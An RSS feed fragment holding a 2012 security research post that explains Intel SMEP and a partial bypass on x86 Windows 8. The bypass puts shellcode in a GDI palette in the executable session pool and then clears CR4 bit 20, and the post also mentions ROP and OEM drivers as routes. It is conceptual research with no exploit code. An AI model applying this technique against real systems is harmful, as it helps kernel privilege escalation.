&lt;a anchor="anchor" href="http://www.blogger.com/blogger.g?blogID=8549938467002440724#editor/target=post;postID=4499820842718429907" name-="name-"&gt;[2]&lt;/a&gt; Mateusz “j00ru” Jurczyk: Windows Security Hardening Through Kernel Address Protection. &lt;a href="http://j00ru.vexillium.org/blog/04_12_11/Windows_Kernel_Address_Protection.pdf"&gt;http://j00ru.vexillium.org/blog/04_12_11/Windows_Kernel_Address_Protection.pdf&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-LFUOJhnWn_U/UFdDZ_rRhEI/AAAAAAAABvI/DS2Hmisl-as/s72-c/windows-8-bluescreen-bsod.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-1954165040159441280</guid><pubDate>Mon, 17 Sep 2012 15:38:00 +0000</pubDate><atom:updated>2013-05-16T23:15:10.979-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SMEP bypass</category><category domain="http://www.blogger.com/atom/ns#">SMEP</category><category domain="http://www.blogger.com/atom/ns#">Windows 8</category><category domain="http://www.blogger.com/atom/ns#">Best of Positive Research</category><title>Intel SMEP overview and partial bypass on Windows 8</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-LFUOJhnWn_U/UFdDZ_rRhEI/AAAAAAAABvI/DS2Hmisl-as/s1600/windows-8-bluescreen-bsod.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="155" src="http://3.bp.blogspot.com/-LFUOJhnWn_U/UFdDZ_rRhEI/AAAAAAAABvI/DS2Hmisl-as/s200/windows-8-bluescreen-bsod.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h1&gt;
&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: small;"&gt;Author: &lt;/span&gt;&lt;a href="mailto:AShishkin[at]ptsecurity[dot]ru" style="font-family: Arial, Helvetica, sans-serif; font-size: medium;"&gt;Artem Shishkin&lt;/a&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Arial, Helvetica, sans-serif;"&gt;English whitepaper (PDF): &lt;a href="http://www.ptsecurity.com/download/SMEP_overview_and_partial_bypass_on_Windows_8.pdf"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: small;"&gt;Russian whitepaper (PDF): &lt;a href="http://www.ptsecurity.ru/download/Technology_Overview_Intel_SMEP_and_partial_bypass_on_Windows_8.pdf"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: Arial, Helvetica, sans-serif; font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h1&gt;
&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" name="_Toc335664221"&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;h1&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang="EN-US"&gt;1.&lt;span style="font-size: 7pt; font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-US"&gt;Introduction&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; With a new generation of Intel processors
based on the Ivy Bridge architecture a new security feature has been
introduced. It is called &lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;b&gt;SMEP&lt;/b&gt;&lt;/span&gt; which stands for &lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;b&gt;“Supervisor Mode Execution
Prevention”&lt;/b&gt;&lt;/span&gt;. Basically it prevents execution of a code located on a user-mode
page at a &lt;span style="font-family: Courier New, Courier, monospace;"&gt;CPL = 0&lt;/span&gt;. From an attacker’s point of view this feature significantly
complicates an exploitation of kernel-mode vulnerabilities because there’s just
no place for a shellcode to be stored. Usually while exploiting some
kernel-mode vulnerability an attacker would allocate a special user-mode buffer
with a shellcode and then trigger vulnerability gaining control of the
execution flow and overriding it to execute prepared buffer contents.&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;So if an
attacker is unable to execute his shellcode, the whole attack is meaningless.
Of course, there are some other techniques like return-oriented programming
available to exploit vulnerabilities with effective payload. But there are also
certain cases when the execution environment allows bypassing the security
features when it is not properly configured. Let’s take a closer look to this
technology and its software support by Windows 8 operating system which introduces
SMEP support.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h1&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang="EN-US"&gt;2.&lt;span style="font-size: 7pt; font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-US"&gt;Hardware support of SMEP&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" name="_Toc335664222"&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;This section includes an overview of SMEP hardware
support.&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;SMEP is a part of a page-level protection
mechanism. In fact it uses the already existing flag of a page-table entry -
the &lt;span style="font-family: Courier New, Courier, monospace;"&gt;U/S flag (User/Supervisor flag, bit 2)&lt;/span&gt;. This flag indicates whether a page
is a user-mode page, or a kernel-mode. The page’s owner flag defines if this
page can be accessed, that is, if a page belongs to the OS kernel which is
executed in a supervisor mode, it can’t be accessed from a user-mode
application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;SMEP is enabled or disabled via &lt;span style="font-family: Courier New, Courier, monospace;"&gt;CR4&lt;/span&gt; control
register (&lt;span style="font-family: Courier New, Courier, monospace;"&gt;bit 20&lt;/span&gt;). It slightly modifies the influence of the &lt;span style="font-family: Courier New, Courier, monospace;"&gt;U/S flag&lt;/span&gt;. Whenever
the supervisor attempts to execute a code located on a page with the &lt;span style="font-family: Courier New, Courier, monospace;"&gt;U&lt;/span&gt; value of
this flag, indicating that this is a user-mode page, a page fault is generated
by the hardware due to the violation of an access right (the access rights are
described in Volume 3, chapter 4.6 &lt;b&gt;[1]&lt;/b&gt;).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;As you can see, it doesn’t generate &lt;span style="font-family: Courier New, Courier, monospace;"&gt;#GP&lt;/span&gt; but
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;#PF&lt;/span&gt; instead, so the software has to process SMEP mechanism violation in a
page-fault handler. We’ll use this point later when analyzing software support
of this mechanism.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h1&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang="EN-US"&gt;3.&lt;span style="font-size: 7pt; font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-US"&gt;Software support of SMEP&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;SMEP support can be detected via the
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;“cpuid”&lt;/span&gt; instruction. As stated in &lt;b&gt;[1]&lt;/b&gt; the result of a “cpuid” level 7 (sublevel
0) query indicates whether the processor supports SMEP feature – the 7&lt;sup&gt;th&lt;/sup&gt;
bit of the EBX register has to be tested for that.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;The x64 version of Windows 8 checks SMEP
feature presence during the initialization of boot structures, filling in the &lt;span style="font-family: Courier New, Courier, monospace;"&gt;“KeFeatureBits”&lt;/span&gt;
variable:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;span lang="EN-US"&gt;KiSystemStartup() →&lt;/span&gt;&lt;span lang="EN-US" style="line-height: 115%;"&gt;
&lt;/span&gt;&lt;span lang="EN-US"&gt;KiInitializeBootStructures() → KiSetFeatureBits() &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="text-align: center;"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;The same is done on x86 version of Windows
8:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="text-align: center;"&gt;
&lt;span lang="EN-US"&gt;&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;b&gt;KiSystemStartup() → KiInitializeKernel() →
KiGetFeatureBits()&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="text-align: center;"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;The variable “KeFeatureBits” is then used
in handling a page fault.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;If SMEP is supported on the current
processor, it is enabled. On the x86 version it is enabled also during the
startup, at phase 1 in the &lt;span style="font-family: Courier New, Courier, monospace;"&gt;KiInitMachineDependent()&lt;/span&gt; function, and later it is
initialized per processor core issuing an IPI which eventually calls
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;KiConfigureDynamicProcessor(&lt;/span&gt;&lt;span style="font-family: Courier New, Courier, monospace;"&gt;)&lt;/span&gt; function. The same happens on the x64 OS version
except of the fact that there is no &lt;span style="font-family: Courier New, Courier, monospace;"&gt;KiInitMachineDependent()&lt;/span&gt; function.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;So, we have SMEP enabled and &lt;span style="font-family: Courier New, Courier, monospace;"&gt;“KeFeatureBits”&lt;/span&gt;
initialized at system startup. The other part of software feature support is a
code of the page fault handler. A new shim function has been added in Windows 8
– &lt;span style="font-family: Courier New, Courier, monospace;"&gt;MI_CHECK_KERNEL_NOEXECUTE_FAULT()&lt;/span&gt;. The access fault due to SMEP or NX
violation is performed inside it. The result of SMEP or NX violations is a
bugcheck and a blue screen of death with a code &lt;span style="font-family: Courier New, Courier, monospace;"&gt;“ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY”&lt;/span&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="text-align: center;"&gt;
&lt;span lang="EN-US"&gt;&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;b&gt;KiTrap0E()/KiPageFault() → MmAccessFault()
→ … → &lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="text-align: center;"&gt;
&lt;span lang="EN-US"&gt;&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;b&gt;→ MI_CHECK_KERNEL_NOEXECUTE_FAULT()&lt;/b&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="text-align: center; text-indent: 0cm;"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="text-indent: 0cm;"&gt;
&lt;span lang="EN-US"&gt;The previously
mentioned function is implemented in Windows 8 only.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h1&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang="EN-US"&gt;4.&lt;span style="font-size: 7pt; font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-US"&gt;The way to bypass SMEP on
Windows and its mitigation&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;It is natural to conclude that if you can’t
store your shellcode in the user-mode, you have to find a way to store it
somewhere in the kernel space. The most obvious solution is using windows
objects such as WinAPI (Events, Timers, Sections etc) or GDI (Brushes, DCs
etc). They are accessed indirectly from the user-mode via WinAPI that uses system
calls. The point is that the object body is kept in the kernel and somehow some
object fields can be modified from the user-mode, so an attacker can transfer
the needed shellcode bytes from the user-mode memory to the kernel-mode.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;It is also obvious that an attacker needs
to know where the used object’s body is located in the kernel. For that,
certain information disclosure is needed. As we remember a user-mode
application is unable to read kernel-mode memory. Certain source of information
about the kernel space is available in Windows &lt;b&gt;[2]&lt;/b&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;So it is theoretically possible to bypass
SMEP on Windows due to the kernel space information disclosure. But SMEP is
backed up by the fact that kernel pools where the objects are kept are now protected
with NX flag (not executable) in Windows 8.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;A number of WinAPI and GDI objects have
been tested for being suitable to serve as a shellcode delivery tool. WinAPI
objects are stored in the paged or the non-paged pool. GDI objects are stored
in the paged session pool. All of them happen to be non-executable now.
Moreover, according to the results of scanning page tables, there is a
miserable number of pages used from executable pools. All data buffers are now
non-executable. Most of the executable (f.e. driver images) pages are not
writable.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang="EN-US"&gt;4.1.&lt;span style="font-size: 7pt; font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-US"&gt;The flaw&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" name="_Toc335664225"&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;As mentioned above, all of the objects in
Windows 8 are now kept in non-executable pools. It is true for x64 version of
Windows 8, and partially true for x86 version of Windows 8. The flaw is the
paged session pool. It is marked as executable on the x86 version of Windows 8.
So a suitable GDI object can be used to store the shellcode in a kernel memory.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;The most convenient object for this purpose
is a GDI palette object. It is created with &lt;span style="font-family: Courier New, Courier, monospace;"&gt;CreatePalette()&lt;/span&gt;
fuction and a supplied &lt;span style="font-family: Courier New, Courier, monospace;"&gt;LOGPALETTE structure&lt;/span&gt;. This structure contains an array
of &lt;span style="font-family: Courier New, Courier, monospace;"&gt;PALETTEENTRY&lt;/span&gt; structures that define
the color and usage of each entry in the logical palette &lt;b&gt;[5]&lt;/b&gt;. The point is that
there is no parameter validation for this palette unlike the other GDI
functions that create various objects. An attacker can store any colors he wants
in his palette. So he can also store any shellcode bytes there. The kernel
address of palette object can be revealed through the shared GDI handle table.
The contents of the palette are stored within some offset (&lt;span style="font-family: Courier New, Courier, monospace;"&gt;0x54&lt;/span&gt; in our case).
It is not nessesary to know this offset for sure because the shellcode can be
stored somewhere in the middle of spreaded NOP instructions.&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;A schematic view
of SMEP bypass is presented on &lt;b&gt;Figure 1&lt;/b&gt;.&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-7RrCeZzXHYI/UFc9PHiCKuI/AAAAAAAABuo/SHGR9zn_wcQ/s1600/SMEP_bypass_in_Windows_8_x86.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="http://2.bp.blogspot.com/-7RrCeZzXHYI/UFc9PHiCKuI/AAAAAAAABuo/SHGR9zn_wcQ/s400/SMEP_bypass_in_Windows_8_x86.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;
&lt;b&gt;Figure 1. Schema of SMEP bypass in Windows 8 x86&lt;/b&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;A palette object
provides enough space to store a big shellcode. But in fact all an attacker
needs is to disable SMEP. It can be easily done by reseting 20&lt;sup&gt;th&lt;/sup&gt; bit
of CR4 control register and then he’ll be able to execute a shellcode stored in
a user-mode memory without a size limit.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;Of course, there
are some limitations when using paged session pool. Firstly, it is paged, so we
need to consider IRQL when exploiting a certain kernel-mode vulnerability.
Secondly, the session pool is mapped per user session, so we also have to
consider the current session when exploiting kernel-mode vulnerability. And
thirdly, in a multiprocessor environment control registers are duplicated per
core, so an attacker has to use thread affinity to disable SMEP on a certain
processor core.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h2&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang="EN-US"&gt;4.2.&lt;span style="font-size: 7pt; font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-US"&gt;Other
SMEP bypassing attack vectors&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" name="_Toc335664226"&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;As mentioned
before, return-oriented programming can be succesfully used to bypass SMEP
security feature due to the fact that this way doesn’t neccesarily have to
store a custom shellcode, it uses pieces of a code that already exists
somewhere in the kernel memory.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span lang="EN-US"&gt;&lt;b&gt;(Update) Full Details:&lt;/b&gt;&amp;nbsp;&lt;a href="http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html"&gt;Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;There is also an
opportunity of using custom OEM drivers which are not aware of using
NX-compatible kernel pools.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h1&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang="EN-US"&gt;5.&lt;span style="font-size: 7pt; font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-US"&gt;Conclusion&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;In this paper we
have reviewed the functioning of SMEP and its software support in Windows 8. We
also have shown how it can be bypassed in certain cases because of a Windows
kernel address space information disclosure and partial applying of security
features. Still, the way SMEP is implemented in the x64 version of Windows 8
happens to be reliable and can be successfully used to prevent different
attacks exploiting kernelmode vulnerabilities.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h1&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang="EN-US"&gt;6.&lt;span style="font-size: 7pt; font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-US"&gt;Future
work&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;The future work is
related to inspecting custom driver modules that still use executable pools and
the ways of an effective kernel information disclosure that can be used for
exploiting such drivers. It is considered now as the best direction of
researching SMEP bypass methods.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
